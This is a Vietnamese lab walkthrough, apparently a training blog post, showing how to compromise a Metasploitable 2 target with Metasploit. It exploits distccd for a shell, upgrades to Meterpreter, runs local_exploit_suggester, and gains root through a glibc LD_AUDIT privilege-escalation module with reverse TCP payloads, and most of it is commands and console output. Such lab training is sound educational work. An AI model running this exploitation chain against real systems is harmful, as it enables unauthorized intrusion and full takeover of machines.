Get Root Với Metasploit – Local Exploit Suggester

Đây là một bài tập thực hành trên lab local với mục đích rèn luyện thêm skill leo thang lấy quyền root qua post Local Exploit Suggester của Metasploit dành cho các học viên các lớp CEH v11 và PENTEST + và cả PreOSCP cũng nên nắm vững, chỉ nên thay Metasploit với script từ github hay làm như Zero-Day.IO là được (nhưng trang này hình như chuyển đi đâu rồi, BQT có copy lại post của trang này)

Để thực hiện quá trình Get Root Với Metasploit – Local Exploit Suggester, chúng ta sử dụng Kali Linux làm cỗ máy tấn công và Metasploitable 2 làm mục tiêu. Các bạn có thể thiết lập hoặc sử dụng phòng thí nghiệm “hacking from home” tương tự để làm theo hướng dẫn sau đây.

Bước 1 Khai thác và lấy phiên về mục tiêu

Điều đầu tiên chúng ta cần làm là có được một phiên có đặc quyền thấp trên mục tiêu. Chúng ta có thể dễ dàng thực hiện điều này với Metasploit. Loại msfconsole trong thiết bị đầu cuối để khởi động nó.

~$ msfconsole

Metasploitable chứa một dịch vụ dễ bị tấn công được gọi là distccd, được sử dụng để phân phối quá trình biên dịch chương trình trên nhiều hệ thống, tăng tốc mọi thứ bằng cách tận dụng sức mạnh bộ xử lý kết hợp. Thật không may, phiên bản này của chương trình cho phép kẻ tấn công từ xa thực hiện các lệnh tùy ý trên máy chủ.

Chúng ta có thể tìm kiếm khai thác bằng cách sử dụng lệnh tìm kiếm (hãy xem trong video hướng dẫn của instructor Đông Dương để thấy cách dò port hay dịch vụ distcc và tìm kiếm mã khai thác với searchsploit để làm theo hướng PreOSCP) :

msf5 > search distcc

Matching Modules
================

   #  Name                           Disclosure Date  Rank       Check  Description
   -  ----                           ---------------  ----       -----  -----------
   0  exploit/unix/misc/distcc_exec  2002-02-01       excellent  Yes    DistCC D

Để tải mô-đun, hãy nhập use theo sau là đường dẫn đầy đủ của mô-đun:

msf5 > use exploit/unix/misc/distcc_exec

Bây giờ chúng ta có thể thấy các cài đặt có sẵn bằng lệnh tùy chọn :

msf5 exploit(unix/misc/distcc_exec) > options

Module options (exploit/unix/misc/distcc_exec):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target address range or CIDR identifier
   RPORT   3632             yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Có vẻ như chúng ta chỉ cần đặt địa chỉ máy chủ từ xa vì cổng từ xa đã được đặt bằng số cổng mặc định. Sử dụng lệnh set để chỉ định địa chỉ IP thích hợp của mục tiêu:

msf5 exploit(unix/misc/distcc_exec) > set rhosts 10.10.0.50

rhosts => 10.10.0.50

Bây giờ chúng tôi đã sẵn sàng để khởi chạy khai thác. Sử dụng lệnh run , chỉ là một bí danh ngắn hơn để khai thác:

msf5 exploit(unix/misc/distcc_exec) > run

[*] Started reverse TCP double handler on 10.10.0.1:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo sWI9yfQYbPxuIGrh;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "sWI9yfQYbPxuIGrh\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.0.1:4444 -> 10.10.0.50:58006) at 2019-11-19 11:46:02 -0500

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Chúng ta có thể thấy rằng một trình bao lệnh đã được mở và việc chạy uname -a xác minh rằng chúng ta đã xâm phạm mục tiêu

Bước 2 Nâng cấp lên Meterpreter

Để sử dụng bộ gợi ý khai thác cục bộ của Metasploit, chúng ta cần nâng cấp trình bao lệnh Unix cơ bản của mình lên phiên Meterpreter. Trong khi vẫn ở trong trình bao lệnh cơ bản, nhấn Ctrl-Z để chạy nền phiên. Nhấn Y nếu nó yêu cầu bạn làm nền cho nó.

Background session 1? [y/N]  y
msf5 exploit(unix/misc/distcc_exec) >

Bây giờ chúng ta được đưa trở lại lời nhắc Metasploit chính và chúng ta có thể xác minh bất kỳ phiên nào chúng ta đang chạy trong nền bằng lệnh phiên :

msf5 exploit(unix/misc/distcc_exec) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               10.10.0.1:4444 -> 10.10.0.50:58006 (10.10.0.50)

Cách dễ nhất để nâng cấp trình bao thông thường lên phiên Meterpreter là sử dụng cờ -u theo sau là số phiên để nâng cấp:

msf5 exploit(unix/misc/distcc_exec) > sessions -u 1

[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.0.1:4433
[*] Sending stage (985320 bytes) to 10.10.0.50
[*] Meterpreter session 2 opened (10.10.0.1:4433 -> 10.10.0.50:32979) at 2019-06-19 11:47:52 -0500
[*] Command stager progress: 100.00% (773/773 bytes)

Chúng ta có thể thấy mô-đun bài đăng đang chạy và một phiên mới được mở. Chúng tôi có thể xác minh lại điều này bằng lệnh phiên :

msf5 exploit(unix/misc/distcc_exec) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                                Connection
  --  ----  ----                   -----------                                                ----------
  1         shell cmd/unix                                                                    10.10.0.1:4444 -> 10.10.0.50:58006 (10.10.0.50)
  2         meterpreter x86/linux  uid=1, gid=1, euid=1, egid=1 @ metasploitable.localdomain  10.10.0.1:4433 -> 10.10.0.50:32979 (10.10.0.50)

Và chúng tôi có thể tương tác với phiên Meterpreter mới của mình bằng cách sử dụng cờ -i trên phiên mong muốn:

msf5 exploit(unix/misc/distcc_exec) > sessions -i 2

[*] Starting interaction with 2...

meterpreter >

Bước 3 Chạy trình đề xuất khai thác

Mô-đun bài đăng Metasploit hoạt động bằng cách chạy trên một phiên nền, không trực tiếp trong chính phiên đó, vì vậy phiên nền 2 (trình bao Meterpreter của chúng tôi) và quay lại lời nhắc chính. Sau đó, chúng tôi có thể tải trình gợi ý khai thác cục bộ bằng cách sử dụng lệnh sau:

msf5 exploit(unix/misc/distcc_exec) > use post/multi/recon/local_exploit_suggester

Khi xem xét các tùy chọn, các bạn chỉ cần chỉ định phiên mà ta muốn chạy local_exploit_suggester:

msf5 post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits

Đơn giản chỉ cần đặt phiên thành số 2, là vỏ Meterpreter của chúng tôi:

msf5 post(multi/recon/local_exploit_suggester) > set session 2

session => 2

Và gõ run để bắt đầu:

msf5 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.0.50 - Collecting local exploits for x86/linux...
[*] 10.10.0.50 - 26 exploit checks are being tried...
[+] 10.10.0.50 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 10.10.0.50 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 10.10.0.50 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] Post module execution completed

Chúng ta có thể thấy mô-đun kiểm tra một số khai thác cục bộ và trả về một số ít có vẻ khả thi. Tuyệt vời.

Bước 4 Get ROOT

Cuối cùng chúng ta cần làm là sử dụng một trong những cách khai thác này để root trên hệ thống. Hãy thử cái đầu tiên được đề xuất c, việc khai thác này lợi dụng một lỗ hổng trong trình liên kết động glibc, trong đó biến môi trường LD_AUDIT cho phép tải một đối tượng setuid cuối cùng chạy với đặc quyền root.

msf5 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc

Xem xét các tùy chọn, chúng tôi chỉ cần thiết lập lại phiên – đường dẫn thực thi mặc định sẽ hoạt động ngay bây giờ:

msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on.
   SUID_EXECUTABLE  /bin/ping        yes       Path to a SUID executable

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Đặt phiên giống như trước:

msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 2

session => 2

Chúng tôi cũng có thể đặt tải trọng để cung cấp cho chúng tôi một phiên Meterpreter khác khi quá trình khai thác hoàn tất:

msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp

payload => linux/x86/meterpreter/reverse_tcp

Và đặt máy chủ lắng nghe thích hợp (địa chỉ IP của máy cục bộ của chúng tôi) và cổng:

msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set lhost 10.10.0.1

lhost => 10.10.0.1

msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set lport 4321

lport => 4321

Cuối cùng, gõ run để khởi chạy khai thác:

msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 10.10.0.1:4321
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.BlrZu4n' (1271 bytes) ...
[*] Writing '/tmp/.18qZUt' (281 bytes) ...
[*] Writing '/tmp/.DoiFwlxPt' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (985320 bytes) to 10.10.0.50
[*] Meterpreter session 3 opened (10.10.0.1:4321 -> 10.10.0.50:56950) at 2019-11-19 11:57:19 -0500

meterpreter >

Bây giờ chúng tôi có một phiên Meterpreter mới trên mục tiêu và chúng tôi có thể thả vào một trình bao để xác minh rằng chúng tôi đã có được quyền truy cập root:

meterpreter > shell
Process 4886 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=1(daemon)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Kết thúc

Trong hướng dẫn này, chúng tôi đã học cách sử dụng Metasploit để lấy một trình bao trên đích, nâng cấp trình bao đó lên phiên Meterpreter và sử dụng mô-đun gợi ý khai thác cục bộ để cuối cùng có được quyền root trên hệ thống. Metasploit không chỉ giúp việc khai thác ban đầu dễ dàng mà còn cả giai đoạn sau khai thác. 

Trả lời

Please log in using one of these methods to post your comment:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Google photo

Bạn đang bình luận bằng tài khoản Google Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s